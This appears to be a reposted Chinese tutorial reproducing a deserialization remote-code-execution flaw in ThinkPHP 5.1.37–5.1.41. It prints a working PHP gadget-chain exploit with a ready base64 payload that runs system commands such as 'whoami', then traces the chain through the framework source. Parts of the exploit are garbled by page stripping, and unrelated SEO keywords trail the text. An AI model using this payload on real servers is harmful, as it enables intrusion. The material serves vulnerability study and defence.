千家信息网

如何理解Thinkphp5.1.37-5.1.41(最新版本) 反序列化漏洞复现

发表于:2025-12-01 作者:千家信息网编辑
千家信息网最后更新 2025年12月01日,这期内容当中小编将会给大家带来有关如何理解Thinkphp5.1.37-5.1.41(最新版本) 反序列化漏洞复现,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。0x
千家信息网最后更新 2025年12月01日如何理解Thinkphp5.1.37-5.1.41(最新版本) 反序列化漏洞复现

这期内容当中小编将会给大家带来有关如何理解Thinkphp5.1.37-5.1.41(最新版本) 反序列化漏洞复现,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。

0x01 简介

记录自己学习与理解thinkphp的反序列漏洞的过程

0x02 影响版本

5.1.37-5.1.41(最新版本)

0x03 环境搭建

1、composer create-project topthink/think=5.1.37 v5.1.37(5.1.37-5.1.41都可)

2、github:

https://github.com/top-think/think/releases

https://github.com/top-think/framework/releases

0x04 漏洞复现

先添加一个反序列化的入口

在application\index\controller\index.php中将input参数反序列化

*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333333;font-size:18px;} h2{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }

:)

ThinkPHP V5.1
12载初心不改(2006-2018) - 你值得信赖的PHP框架

';}public function hello($name = 'ThinkPHP5'){return 'hello,' . $name;}}

EXP:

append = ["ethan"=>["dir","calc"]];$this->data = ["ethan"=>new Request()];}}class Request{protected $hook = [];protected $filter = "system";protected $config = [// 表单请求类型伪装变量'var_method'       => '_method',// 表单ajax伪装变量'var_ajax'         => '_ajax',// 表单pjax伪装变量'var_pjax'         => '_pjax',// PATHINFO变量名 用于兼容模式'var_pathinfo'     => 's',// 兼容PATH_INFO获取'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],// 默认全局过滤方法 用逗号分隔多个'default_filter'   => '',// 域名根,如thinkphp.cn'url_domain_root'  => '',// HTTPS代理标识'https_agent_name' => '',// IP代理获取标识'http_agent_ip'    => 'HTTP_X_REAL_IP',// URL伪静态后缀'url_html_suffix'  => 'html',];function __construct(){$this->filter = "system";$this->config = ["var_ajax"=>''];$this->hook = ["visible"=>[$this,"isAjax"]];}}namespace think\process\pipes;use think\model\concern\Conversion;use think\model\Pivot;class Windows{private $files = [];public function __construct(){$this->files=[new Pivot()];}}namespace think\model;use think\Model;class Pivot extends Model{}use think\process\pipes\Windows;echo base64_encode(serialize(new Windows()));/*input=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJldGhhbiI7YToyOntpOjA7czozOiJkaXIiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJldGhhbiI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo5O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=&id=whoami*/?>

5.1.37版本复现:

5.1.41版本复现

0x04 PHP序列化的相关知识

首先了解下魔法函数,方便后面利用链的理解

__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。

__destruct():当对象被销毁时会自动调用。

__call():是在对象上下文中调用不可访问的方法时触发

__callStatic():是在静态上下文中调用不可访问的方法时触发。

__get():用于从不可访问的属性读取数据。

__set():用于将数据写入不可访问的属性。

__isset():在不可访问的属性上调用isset()或empty()触发。

__unset():在不可访问的属性上使用unset()时触发。

__sleep():在执行序列化函数serialize()时执行。

__wakeup():在执行反序列化函数unserialize()时执行。

__toString():当一个对象被当做字符串使用。

invoke():脚本尝试将对象调用为函数时,调用invoke()方法。

反序列化的常见起点

__wakeup:一定会调用

__destruct:一定会调用

__toString:当一个对象被反序列化后又被当做字符串使用

反序列化的常见中间跳板

__toString:当一个对象被当做字符串使用

__get:读取不可访问或不存在属性时被调用

__set:当给不可访问或不存在属性赋值时被调用

__isset:对不可访问或不存在的属性调用isset()或empty()时被调用

形如 $this->$func();

反序列化的常见终点:

__call:调用不可访问或不存在的方法时被调用

call_user_func:一般php代码执行都会选择这里

call_user_func_array:一般php代码执行都会选择这里

0x05 漏洞分析

从EXP入手去分析整个利用过程,在执行EXP时动态调试观察调用了哪些魔法函数

可以看到依次执行了destruct()→tostring()→call()→RCE

从起点开始一步一步跟进

1、在\thinkphp\library\think\process\pipes\windows.php中的__destruct调用了removeFiles方法

主要代码:

public function __destruct(){$this->close();$this->removeFiles();}private function removeFiles(){foreach ($this->files as $filename) {if (file_exists($filename)) {@unlink($filename);}}$this->files = [];}

这里$filename会被当做字符串处理,而下一步的toString方法在一个对象被反序列化后又被当做字符串使用时会被触发,继续跟进toString方法

2、在\thinkphp\library\think\model\concern\Conversion.php中__toString中的函数执行过程为toJson→toArray

主要代码:

//thinkphp\library\think\model\concern\Conversion.phppublic function __toString(){return $this->toJson();}public function toJson($options = JSON_UNESCAPED_UNICODE){return json_encode($this->toArray(), $options);}

紧接着下一步调用了visible与call方法,猜测visible是一个不存在的方法,并自动调用了call;继续看toArray方法的逻辑部分

主要代码:

//thinkphp\library\think\model\concern\Conversion.phppublic function toArray(){$item    = [];$hasVisible = false;...if (!empty($this->append)) {foreach ($this->append as $key => $name) {if (is_array($name)) {// 追加关联对象属性$relation = $this->getRelation($key);if (!$relation) {$relation = $this->getAttr($key);if ($relation) {$relation->visible($name);}}}

这里的$this->append是我们可控的,这意味着$relation也可控,在toArray函数中调用一个getRelation()方法和一个getAttr()方法,在下面判断了变量$relation,若!$relation,继续调用getAttr()方法, 跟进getRelation方法

主要代码:

//thinkphp\library\think\model\concern\RelationShip.phppublic function getRelation($name = null){if (is_null($name)) {return $this->relation;} elseif (array_key_exists($name, $this->relation)) {return $this->relation[$name];}return;}

可以看到getRelation()执行结果返回为空,进而执行了getAttr(),继续跟进getAttr()

//thinkphp\library\think\model\concern\Attribute.phppublic function getAttr($name, &$item = null){try {$notFound = false;$value  = $this->getData($name);} catch (InvalidArgumentException $e) {$notFound = true;$value  = null;}return $value;}public function getData($name = null){if (is_null($name)) {return $this->data;} elseif (array_key_exists($name, $this->data)) {return $this->data[$name];} elseif (array_key_exists($name, $this->relation)) {return $this->relation[$name];}throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);}

这里的getAttr()调用了getData()方法,所以toArray方法中的$relation的值为$this->data[$name],也就是说$relation可控;然后控制$relation为一个类对象,调用不存在的visible方法后,会自动调用call方法,这个类中没有visible方法,但存在call,跟进__call

3、/thinkphp/library/think/Request.php中的__call方法的主要代码:

public function __call($method, $args){if (array_key_exists($method, $this->hook)) {array_unshift($args, $this);return call_user_func_array($this->hook[$method], $args);}throw new Exception('method not exists:' . static::class . '->' . $method);}

可以看到存在了回调函数call_user_func_array,并且this->hook[$method]我们可以控制,但是这里有个 array_unshift($args, $this);会把$this放到$arg数组的第一个元素,这样构造不出来参数可用的payload,因为第一个参数是$this对象。

在利用链中发现,最终RCE是利用了Requests类的过滤器filter(多数RCE都是出自此处),调试器中依次调用了isAjax(),param(),input(),跟进这些方法,观察是如何执行的

4、在\thinkphp/library/think/Request.php的查看各个方法的主要代码

public function isAjax($ajax = false)  {    $value = $this->server('HTTP_X_REQUESTED_WITH');    $result = 'xmlhttprequest' == strtolower($value) ? true : false;    if (true === $ajax) {      return $result;    }    $result      = $this->param($this->config['var_ajax']) ? true : $result;    $this->mergeParam = false;    return $result;  }

在isAjax函数中,我们可以控制$this->config['var_ajax'],这里调用了param方法,继续跟进

public function param($name = '', $default = null, $filter = '')  {     if (!$this->mergeParam) {      $method = $this->method(true);      .....      $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));      $this->mergeParam = true;    }    if (true === $name) {      // 获取包含文件上传信息的数组      $file = $this->file();      $data = is_array($file) ? array_merge($this->param, $file) : $this->param;      return $this->input($data, '', $default, $filter);    }    return $this->input($this->param, $name, $default, $filter);}

这里在最后调用了input()函数,由于之前的isAjax()中$this->config['var_ajax']可控,所以这里param($name)可控,跟进input()

public function input($data = [], $name = '', $default = null, $filter = '')  {    if (false === $name) {      // 获取原始数据      return $data;    }    ....    // 解析过滤器   $filter = $this->getFilter($filter, $default);    if (is_array($data)) {      array_walk_recursive($data, [$this, 'filterValue'], $filter);     .....    } else {      $this->filterValue($data, $name, $filter);    }

input()使用回调函数调用了filterValue(),由于param中的$name可控,所以input()中的$name可控,然后input()中又调用了filterValue(),这样的话filterValue()中的$name也就是可控的,跟进filterValue()

主要代码:

private function filterValue(&$value, $key, $filters){  $default = array_pop($filters);  foreach ($filters as $filter) {    if (is_callable($filter)) {      // 调用函数或者方法过滤      $value = call_user_func($filter, $value);

该方法调用了call_user_func函数,从input()中得知,filterValue()的value值可控

继续查看input()的主要代码部分:

public function input($data = [], $name = '', $default = null, $filter = '')  {    if (false === $name) {      // 获取原始数据      return $data;    }    ....     $data = $this->getData($data, $name);    ....    // 解析过滤器    $filter = $this->getFilter($filter, $default);    if (is_array($data)) {      array_walk_recursive($data, [$this, 'filterValue'], $filter);     .....    } else {      $this->filterValue($data, $name, $filter);    }

这里$data=$this->getData($data, $name)

$filter = $this->getFilter($filter, $default)

两个关键的参数,跟进getData()代码:

protected function getData(array $data, $name)  {    foreach (explode('.', $name) as $val) {      if (isset($data[$val])) {        $data = $data[$val];      } else {        return;      }    }    return $data;}

$name由在最开始的isAjax()中的$this->config['var_ajax']来控制,最终返回$data=$data[$name]

getFilter()代码:

protected function getFilter($filter, $default)  {    if (is_null($filter)) {      $filter = [];    } else {      $filter = $filter ?: $this->filter;      if (is_string($filter) && false === strpos($filter, '/')) {        $filter = explode(',', $filter);      } else {        $filter = (array) $filter;      }    }    $filter[] = $default;    return $filter;}

这里$filter可控,$this->filter,在EXP直接赋值即可,这样所有可控条件都达成,成功RCE

总结一下:

利用链:

从EXP的角度下看执行过程:

0x06 修复方式

官方未修复

上述就是小编为大家分享的如何理解Thinkphp5.1.37-5.1.41(最新版本) 反序列化漏洞复现了,如果刚好有类似的疑惑,不妨参照上述分析进行理解。如果想知道更多相关知识,欢迎关注行业资讯频道。

方法 序列 函数 代码 对象 属性 版本 漏洞 变量 字符 字符串 参数 数据 过程 分析 控制 常见 表单 过滤器 原始 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 sql2000备份数据库 网络安全知识竞赛 通知 数据库管理技术主要有哪些模型 数据库结构设计文档的目的 烽火网络安全部门咋样 上海水果软件开发 苏州华坤互联网科技有限公司 网络安全法 罚则 南京寅本网络技术有限公司图片 数据库技术在供应链里的应用 海淀区正规软件开发诚信服务 游戏服务器无法进入 EVLOG服务器 php 操作数据库的函数 微信连接服务器发不了怎么回事 广东省学网络安全的大专 网络安全设备登录调试方法 金融科技支撑下的互联网企业 管家婆a8 数据库连接 年度网络安全任务台账 网络安全监控设备产生的目的 金华西林网络技术有限公司 计算机网络技术实验心得 网络数据库的安全特性 无限白嫖国外云服务器 上市公司网络安全规范 图数据库可以分析什么 游戏如何清除服务器记录 陕西网络安全职业技能大赛 服务器网卡怎么改成路由器
0